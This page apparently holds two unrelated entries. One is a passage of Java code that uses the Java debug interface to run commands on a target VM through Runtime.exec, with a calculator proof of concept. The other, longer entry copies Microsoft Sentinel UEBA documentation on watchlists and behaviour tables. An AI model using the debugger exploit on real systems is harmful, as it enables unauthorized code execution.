    //目标虚拟机中对象的类型。 ReferenceType包含The Java™ Language Specification中定义的类,接口和数组类型。 所有ReferenceType对象都属于以下子接口之一: ClassType用于类, InterfaceType用于接口, ArrayType用于阵列。 请注意,原始类(例如Integer.TYPE的reflected type )被表示为ClassType。
    // VM为所有三个创建Class对象,因此从VM的角度来看,每个ReferenceType映射到一个不同的Class对象。

    /*//获取对象
    Class cls = Class.forName("java.lang.Runtime");
    //实例化对象
    Object ob = cls.getMethod("getRuntime",null).invoke(null,null);
    // 反射调用执行命令
    cls.getMethod("exec", String.class).invoke(ob,"calc");
    */
    ObjectReference getObjectReference = vm.classesByName("java.lang.Runtime").get(0).classObject();
    Method getMethod = vm.classesByName("java.lang.Class").get(0).methodsByName("getMethod").get(0);
    //Java.lang.Class.getMethod()
    //返回一个 Method 对象
    Method getMethodInvoke = vm.classesByName("java.lang.reflect.Method").get(0).methodsByName("invoke").get(0);
    //java.lang.reflect.Method.invoke
    Method getExecMethod = vm.classesByName("java.lang.Runtime").get(0).methodsByName("exec").get(0);
    //java.lang.Runtime.exec
    List<Value> param1 = new ArrayList<>();

    param1.add(vm.mirrorOf("getRuntime"));
    //在此虚拟机中创建一个字符串。
    ObjectReference getRuntimeMethodRe = (ObjectReference) getObjectReference.invokeMethod(threadReference, getMethod, param1, 1);
    //invokeMethod(ThreadReference thread, Method method, List<? extends Value> arguments, int options)
    //调用目标 VM 中此对象的指定方法。 java.lang.Runtime.getRuntime()

    List<Value> param2 = new ArrayList<>();
    param2.add(null);
    ObjectReference runtimeIns = (ObjectReference) getRuntimeMethodRe.invokeMethod(threadReference, getMethodInvoke, param2, 1);
    //java.lang.Runtime.getRuntime().invoke()

    List<Value> param3 = new ArrayList<>();
    param3.add(vm.mirrorOf("open /System/Applications/Calculator.app"));

    runtimeIns.invokeMethod(threadReference, getExecMethod, param3, 1);
    //java.lang.Runtime.getRuntime().exec("cmd").invoke()
    }

    监听可能会执行到的线程,等待触发,可以选择大概率会被触发的类的线程来监听,例如“java.net.ServerSocket.accep”、“java.lang.String”等



  • Azure Sentinel webinar:Enabling User and Entity Behavior Analytics (UEBA)

    什么是用户和实体行为分析 (UEBA)?

    识别组织内的威胁及其潜在影响(无论是被入侵的实体还是恶意内部因素)始终是一个耗时耗力的过程。 筛选警报、连接各点和主动搜寻都需要大量的时间和精力,却只有极少回报,而复杂的潜在威胁却很难发现。 特别难以发现的威胁(如零日威胁、针对性威胁和高级持久性威胁)对组织来说是最危险的,因此能够检测这些威胁则变得更加重要。


    安全驱动的分析

    受 Gartner 的 UEBA 解决方案范例的启发,Microsoft Sentinel 根据 3 个参考框架提供了一种“由外而内”的方法:

    •     用例:MITRE ATT&CK 策略、技术和分解技术框架将各种实体作为受害者、作恶者或枢轴点放入杀伤链中,Microsoft Sentinel 根据按照此框架开展的安全性研究对相关攻击途径和方案划分优先级,从而特别专注于每个数据源可以提供的最有价值的日志。
      
    •     数据源:尽管首要支持 Azure 数据源,但出于周全性考虑,Microsoft Sentinel 选择第三方数据源来提供与我们的威胁方案相匹配的数据。
      
    •     分析:Microsoft Sentinel 使用各种机器学习 (ML) 算法来识别异常活动,并以上下文信息丰富的形式清晰、准确地呈现证据,相关示例如下所示。
      


    Microsoft Sentinel 提供的项目可帮助安全分析师结合上下文并通过对比用户的基线概况来清楚地了解环境中的异常活动。 用户(或主机、地址)执行的操作在上下文中进行评估,“true”结果则表示发现异常:

    •     跨地理位置、设备和环境。
      
    •     跨时间和频率(与用户自己的历史记录相比)。
      
    •     与对等方的行为进行比较。
      
    •     与组织的行为进行比较。
      




    计分

    每个活动都使用“调查优先级评分”进行评分,该评分根据对用户及其对等方的行为学习来确定特定用户执行特定活动的概率。 被识别为最不正常的活动会获得最高分(分数范围为 0-10 分)。

    时间线

    规则模版

    https://docs.microsoft.com/zh-cn/azure/sentinel/watchlist-schemas

    高价值资产
    “高价值资产”监视列表列出组织中具有重要价值的设备、资源和其他资产,此监视列表包括以下字段:

    字段名称 格式 示例 必需/可选
    资产类型 字符串 Device, Azure resource, AWS resource, URL, SPO, File share, Other 必需
    资产 ID 字符串,视资产类型而定 /subscriptions/d1d8779d-38d7-4f06-91db-9cbc8de0176f/resourceGroups/SOC-Purview/providers/Microsoft.Storage/storageAccounts/purviewadls 必需
    资产名称 字符串 Microsoft.Storage/storageAccounts/purviewadls 可选
    资产 FQDN FQDN Finance-SRv.local.microsoft.com 必需
    IP 地址 IP 1.1.1.1 可选
    标记 列出 [“SAW user”,”Blue Ocean team”] 可选

    VIP 用户
    “VIP 用户”监视列表列出组织中影响力较高的员工的用户帐户,此监视列表包括以下值:

    字段名称 格式 示例 必需/可选
    用户标识符 UID 52322ec8-6ebf-11eb-9439-0242ac130002 可选
    用户 AAD 对象 ID SID 03fa4b4e-dc26-426f-87b7-98e0c9e2955e 可选
    用户本地 SID SID S-1-12-1-4141952679-1282074057-627758481-2916039507 可选
    用户主体名称 UPN JeffL@seccxp.ninja 必需
    标记 列出 [“SAW user”,”Blue Ocean team”] 可选

    网络映射
    “网络映射”监视列表列出 IP 子网及其各自的组织上下文,此监视列表包括以下字段:

    字段名称 格式 示例 必需/可选
    IP 子网 子网范围 198.51.100.0/24 - 198……/22 必需
    范围名 字符串 DMZ 可选
    标记 列出 [“Example”,”Example”] 可选

    离职的员工
    “离职的员工”监视列表列出已离职或即将离职的员工的用户帐户,此监视列表包括以下字段:

    字段名称 格式 示例 必需/可选
    用户标识符 UID 52322ec8-6ebf-11eb-9439-0242ac130002 可选
    用户 AAD 对象 ID SID 03fa4b4e-dc26-426f-87b7-98e0c9e2955e 可选
    用户本地 SID SID S-1-12-1-4141952679-1282074057-123 可选
    用户主体名称 UPN JeffL@seccxp.ninja 必需
    UserState 字符串
    建议使用 Notified 或 Terminated Terminated 必需
    通知日期 时间戳 - 具体日期 01.12.20 可选
    终止日期 时间戳 - 具体日期 01.01.21 必需
    标记 列出 [“SAW user”,”Amba Wolfs team”] 可选

    标识相关
    “标识相关”监视列表列出属于同一人员的相关用户帐户,此监视列表包括以下字段:

    字段名称 格式 示例 必需/可选
    用户标识符 UID 52322ec8-6ebf-11eb-9439-0242ac130002 可选
    用户 AAD 对象 ID SID 03fa4b4e-dc26-426f-87b7-98e0c9e2955e 可选
    用户本地 SID SID S-1-12-1-4141952679-1282074057-627758481-2916039507 可选
    用户主体名称 UPN JeffL@seccxp.ninja 必需
    员工 ID 字符串 8234123 可选
    Email 电子邮件 JeffL@seccxp.ninja 可选
    关联的特权帐户 ID UID/SID S-1-12-1-4141952679-1282074057-627758481-2916039507 可选
    关联的特权帐户 UPN Admin@seccxp.ninja 可选
    标记 列出 [“SAW user”,”Amba Wolfs team”] 可选

    服务帐户
    “服务帐户”监视列表列出服务帐户及其所有者,此监视列表包括以下字段:

    字段名称 格式 示例 必需/可选
    服务标识符 UID 1111-112123-12312312-123123123 可选
    服务 AAD 对象 ID SID 11123-123123-123123-123123 可选
    服务本地 SID SID S-1-12-1-3123123-123213123-12312312-2916039507 可选
    服务主体名称 UPN myserviceprin@contoso.com 必需
    所有者用户标识符 UID 52322ec8-6ebf-11eb-9439-0242ac130002 可选
    所有者用户 AAD 对象 ID SID 03fa4b4e-dc26-426f-87b7-98e0c9e2955e 可选
    所有者用户本地 SID SID S-1-12-1-4141952679-1282074057-627758481-2916039507 可选
    所有者用户主体名称 UPN JeffL@seccxp.ninja 必需
    标记 列出 [“Automation Account”,”GitHub Account”] 可选

    https://docs.microsoft.com/zh-cn/azure/sentinel/ueba-enrichments

    BehaviorAnalytics 表
    下表说明了 Microsoft Sentinel 中每个实体详细信息页上显示的行为分析数据。

    字段 类型 说明
    TenantId string 租户的唯一 ID 编号。
    SourceRecordId 字符串 EBA 事件的唯一 ID 编号。
    TimeGenerated datetime 活动发生时的时间戳。
    TimeProcessed datetime EBA 引擎处理活动时的时间戳。
    ActivityType 字符串 活动的高级类别。
    ActionType 字符串 活动的规范化名称。
    UserName 字符串 发起活动的用户的用户名。
    UserPrincipalName 字符串 发起活动的用户的完整用户名。
    EventSource 字符串 提供原始事件的数据源。
    SourceIPAddress 字符串 发起活动的 IP 地址。
    SourceIPLocation 字符串 发起活动的国家/地区,从 IP 地址进行扩充。
    SourceDevice 字符串 发起活动的设备的主机名。
    DestinationIPAddress 字符串 活动目标的 IP 地址。
    DestinationIPLocation 字符串 活动目标所在国家/地区,从 IP 地址进行扩充。
    DestinationDevice 字符串 目标设备的名称。
    UsersInsights 动态 相关用户的上下文扩充(详细信息如下)。
    DevicesInsights 动态 相关设备的上下文扩充(详细信息如下)。
    ActivityInsights 动态 基于我们的分析的活动的上下文分析(详细信息如下)。
    InvestigationPriority int 异常分数,介于 0-10(0=良性,10=高度异常)。

    实体扩充动态字段

    UsersInsights 字段
    下表说明了 BehaviorAnalytics 表中 UsersInsights 动态字段中提供的扩充:

    扩充名称 说明 示例值
    帐户显示名称
    (AccountDisplayName) 用户的帐户显示名称。 Admin、Hayden Cook
    帐户域
    (AccountDomain) 用户的帐户域名。 帐户对象 ID
    (AccountObjectID) 用户的帐户对象 ID。 a58df659-5cab-446c-9dd0-5a3af20ce1c2
    冲击半径
    (BlastRadius) 冲击半径根据多个因素来计算:用户在组织树中的位置,以及用户的 Azure Active Directory 角色和权限。 低、中、高
    休眠帐户
    (IsDormantAccount) 此帐户在过去 180 天内未使用。 True、False
    本地管理员
    (IsLocalAdmin) 此帐户具有本地管理员权限。 True、False
    新帐户
    (IsNewAccount) 此帐户是在过去 30 天内创建的。 True、False
    本地 SID
    (OnPremisesSID) 与该操作相关的用户的本地 SID。 S-1-5-21-1112946627-1321165628-2437342228-1103

    DevicesInsights 字段
    下表说明了 BehaviorAnalytics 表中 DevicesInsights 动态字段中提供的扩充:

    扩充名称 说明 示例值
    浏览器
    (Browser) 操作中使用的浏览器。 Edge、Chrome
    设备系列
    (DeviceFamily) 操作中使用的设备系列。 Windows
    设备类型
    (DeviceType) 操作中使用的客户端设备类型 桌面
    ISP
    (ISP) 操作中使用的 Internet 服务提供商。
    操作系统
    (OperatingSystem) 操作中使用的操作系统。 Windows 10
    威胁 intel 指标说明
    (ThreatIntelIndicatorDescription) 从操作中使用的 IP 地址解析的观察到的威胁指标的说明。 主机是僵尸网络的成员:azorult
    威胁 intel 指标类型
    (ThreatIntelIndicatorType) 从操作中使用的 IP 地址解析的威胁指标的类型。 僵尸网络、C2、CryptoMining、Darknet、Ddos、MaliciousUrl、恶意软件、仿冒、代理、PUA、播放列表
    用户代理
    (UserAgent) 操作中使用的用户代理。 Microsoft Azure Graph Client Library 1.0、
    Swagger-Codegen/1.4.0.0/csharp,
    EvoSTS
    用户代理系列
    (UserAgentFamily) 操作中使用的用户代理系列。 Chrome、Edge、Firefox

    ActivityInsights 字段
    下表说明了 BehaviorAnalytics 表中 ActivityInsights 动态字段中提供的扩充:

    已执行的操作

    扩充名称 基线(天) 说明 示例值
    用户首次执行的操作
    (FirstTimeUserPerformedAction) 180 用户首次执行此操作。 True、False
    用户不常执行的操作
    (ActionUncommonlyPerformedByUser) 10 用户不常执行此操作。 True、False
    对等机之间不常执行的操作
    (ActionUncommonlyPerformedAmongPeers) 180 用户的对等机之间不常执行此操作。 True、False
    首次在租户中执行的操作
    (FirstTimeActionPerformedInTenant) 180 此操作由组织中的任何人首次执行。 True、False
    租户中不常执行的操作
    (ActionUncommonlyPerformedInTenant) 180 组织中不常执行此操作。 True、False

    使用的应用

    扩充名称 基线(天) 说明 示例值
    用户首次使用的应用
    (FirstTimeUserUsedApp) 180 用户首次使用此应用。 True、False
    用户不常使用的应用
    (AppUncommonlyUsedByUser) 10 用户不常使用此应用。 True、False
    在对等机之间不常使用的应用
    (AppUncommonlyUsedAmongPeers) 180 在用户的对等机之间不常使用此应用。 True、False
    首次在租户中观察到的应用
    (FirstTimeAppObservedInTenant) 180 在组织中首次观察到此应用。 True、False
    租户中不常使用的应用
    (AppUncommonlyUsedInTenant) 180 组织中不常使用此应用。 True、False

    使用的浏览器

    扩充名称 基线(天) 说明 示例值
    用户首次通过浏览器连接
    (FirstTimeUserConnectedViaBrowser) 30 用户首次观察到此浏览器。 True、False
    用户不常使用的浏览器
    (BrowserUncommonlyUsedByUser) 10 用户不常使用此浏览器。 True、False
    在对等机之间不常使用的浏览器
    (BrowserUncommonlyUsedAmongPeers) 30 在用户的对等机之间不常使用此浏览器。 True、False
    首次在租户中观察到的浏览器
    (FirstTimeBrowserObservedInTenant) 30 在组织中首次观察到此浏览器。 True、False
    租户中不常使用的浏览器
    (BrowserUncommonlyUsedInTenant) 30 组织中不常使用此浏览器。 True、False

    从其连接的国家/地区

    扩充名称 基线(天) 说明 示例值
    用户首次从国家/地区连接
    (FirstTimeUserConnectedFromCountry) 90 用户首次从 IP 地址解析的这个地理位置连接。 True、False
    用户不常从其连接的国家/地区
    (CountryUncommonlyConnectedFromByUser) 10 用户不常从 IP 地址解析的这个地理位置连接。 True、False
    在对等机之间不常从其连接的国家/地区
    (CountryUncommonlyConnectedFromAmongPeers) 90 用户的对等机之间不常从 IP 地址解析的这个地理位置连接。 True、False
    首次从租户中观察到的国家/地区连接
    (FirstTimeConnectionFromCountryObservedInTenant) 90 组织中的任何人首次从该国家/地区连接。 True、False
    租户中不常从其连接的国家/地区
    (CountryUncommonlyConnectedFromInTenant) 90 组织中不常从 IP 地址解析的这个地理位置连接。 True、False

    用于连接的设备

    扩充名称 基线(天) 说明 示例值
    用户首次从设备连接
    (FirstTimeUserConnectedFromDevice) 30 用户首次从该源设备连接。 True、False
    用户不常使用的设备
    (DeviceUncommonlyUsedByUser) 10 用户不常使用此设备。 True、False
    在对等机之间不常使用的设备
    (DeviceUncommonlyUsedAmongPeers) 180 在用户的对等机之间不常使用此设备。 True、False
    首次在租户中观察到的设备
    (FirstTimeDeviceObservedInTenant) 30 此设备首次在组织中观察到。 True、False
    租户中不常使用的设备
    (DeviceUncommonlyUsedInTenant) 180 组织中不常使用此设备。 True、False

    其他相关设备

    扩充名称 基线(天) 说明 示例值
    用户首次登录到设备
    (FirstTimeUserLoggedOnToDevice) 180 用户首次连接到此目标设备。 True、False
    租户中不常使用的设备系列
    (DeviceFamilyUncommonlyUsedInTenant) 30 组织中不常使用此设备系列。 True、False

    用于连接的 Internet 服务提供商

    扩充名称 基线(天) 说明 示例值
    用户首次通过 ISP 连接
    (FirstTimeUserConnectedViaISP) 30 用户首次观察到此 ISP。 True、False
    用户不常使用的 ISP
    (ISPUncommonlyUsedByUser) 10 用户不常使用此 ISP。 True、False
    在对等机之间不常使用的 ISP
    (ISPUncommonlyUsedAmongPeers) 30 在用户的对等机之间不常使用此 ISP。 True、False
    首次在租户中通过 ISP 连接
    (FirstTimeConnectionViaISPInTenant) 30 在组织中首次观察到此 ISP。 True、False
    租户中不常使用的 ISP
    (ISPUncommonlyUsedInTenant) 30 组织中不常使用此 ISP。 True、False

    访问的资源

    扩充名称 基线(天) 说明 示例值
    用户首次访问的资源
    (FirstTimeUserAccessedResource) 180 此资源由用户首次访问。 True、False
    用户不常访问的资源
    (ResourceUncommonlyAccessedByUser) 10 用户不常访问该资源。 True、False
    在对等机之间不常访问的资源
    (ResourceUncommonlyAccessedAmongPeers) 180 在用户的对等机之间不常访问该资源。 True、False
    首次在租户中访问的资源
    (FirstTimeResourceAccessedInTenant) 180 此资源由组织中的任何人首次访问。 True、False
    租户中不常访问的资源
    (ResourceUncommonlyAccessedInTenant) 180 组织中不常访问此资源。 True、False

    杂项

    扩充名称 基线(天) 说明 示例值
    用户上次执行的操作
    (LastTimeUserPerformedAction) 180 上次用户执行了相同的操作。
    过去未执行类似操作
    (SimilarActionWasn’tPerformedInThePast) 30 用户未在相同的资源提供程序中执行任何操作。 True、False
    源 IP 位置
    (SourceIPLocation) 空值 此国家/地区从操作的源 IP 解析。 [英国萨里]
    不常见的大量操作
    (UncommonHighVolumeOfOperations) 7 用户在同一个提供程序中执行了一连串类似操作 True、False
    Azure AD 条件访问失败的异常数量
    (UnusualNumberOfAADConditionalAccessFailures) 5 由于条件访问导致无法进行身份验证的用户的异常数量 True、False
    添加的异常数量的设备
    (UnusualNumberOfDevicesAdded) 5 用户添加了异常数量的设备。 True、False
    删除的异常数量的设备
    (UnusualNumberOfDevicesDeleted) 5 用户删除了异常数量的设备。 True、False
    添加到组中的异常数量的用户
    (UnusualNumberOfUsersAddedToGroup) 5 用户向组中添加了异常数量的用户。 True、False

    IdentityInfo 表(公开预览版)
    为 Microsoft Sentinel 工作区启用 UEBA 后,来自 Azure Active Directory 的数据将同步到 Log Analytics 中的 IdentityInfo 表以在 Microsoft Sentinel 中使用。 可以在分析规则中嵌入从 Azure AD 同步的用户数据,以增强分析来适应你的用例并减少误报。
    虽然初始同步可能需要几天时间,但在数据完全同步后,将获得以下优势:

    •     对 Azure AD 中的用户配置文件所做的更改会在 15 分钟内更新到 IdentityInfo 表中。
      
    •     组和角色信息每天在 IdentityInfo 表和 Azure AD 之间同步。
      
    •     每 21 天,Microsoft Sentinel 会与整个 Azure AD 重新同步,以确保过时的记录将完全更新。
      
    •     IdentityInfo 表中的默认保留时间为 30 天。
      

    备注
    目前,仅支持内置角色。
    目前不支持有关已删除组(从组中删除了用户)的数据。
    下表描述了 Log Analytics 的 IdentityInfo 表中包含的用户身份数据。

    字段 类型 说明
    AccountCloudSID string 帐户的 Azure AD 安全标识符。
    AccountCreationTime datetime 创建用户帐户的日期 (UTC)。
    AccountDisplayName string 用户帐户的显示名称。
    AccountDomain string 用户帐户的域名。
    AccountName string 用户帐户的用户名。
    AccountObjectId string 用户帐户的 Azure Active Directory 对象 ID。
    AccountSID string 用户帐户的本地安全标识符。
    AccountTenantId string 用户帐户的 Azure Active Directory 租户 ID。
    AccountUPN string 用户帐户的用户主体名称。
    AdditionalMailAddresses 动态 用户的其他电子邮件地址。
    AssignedRoles 动态 为用户帐户分配的 Azure AD 角色。
    城市 string 用户帐户的城市。
    国家/地区 string 用户帐户的国家/地区。
    DeletedDateTime datetime 删除用户的日期和时间。
    部门 string 用户帐户的部门。
    GivenName string 用户帐户的给定名称。
    GroupMembership 动态 用户帐户所归属的 Azure AD 组。
    IsAccountEnabled bool 指示是否在 Azure AD 中启用了用户帐户。
    JobTitle string 用户帐户的职务。
    MailAddress string 用户帐户的主要电子邮件地址。
    管理员 string 用户帐户的管理员别名。
    OnPremisesDistinguishedName string Azure AD 可分辨名称 (DN)。专有名称是一系列相对专有名称 (RDN),由逗号连接。
    电话 string 用户帐户的电话号码。
    SourceSystem string 用户数据的来源系统。
    State string 用户帐户的地理状态。
    StreetAddress string 用户帐户的办公街道地址。
    Surname string 用户的姓氏。帐户。
    TenantId string 用户的租户 ID。
    TimeGenerated datetime 生成事件的时间 (UTC)。
    类型 string 表的名称。
    UserState string Azure AD 中用户帐户的当前状态(活动/禁用/休眠/锁定)。
    UserStateChangedOn datetime 上次更改帐户状态的日期 (UTC)。
    UserType string 用户类型。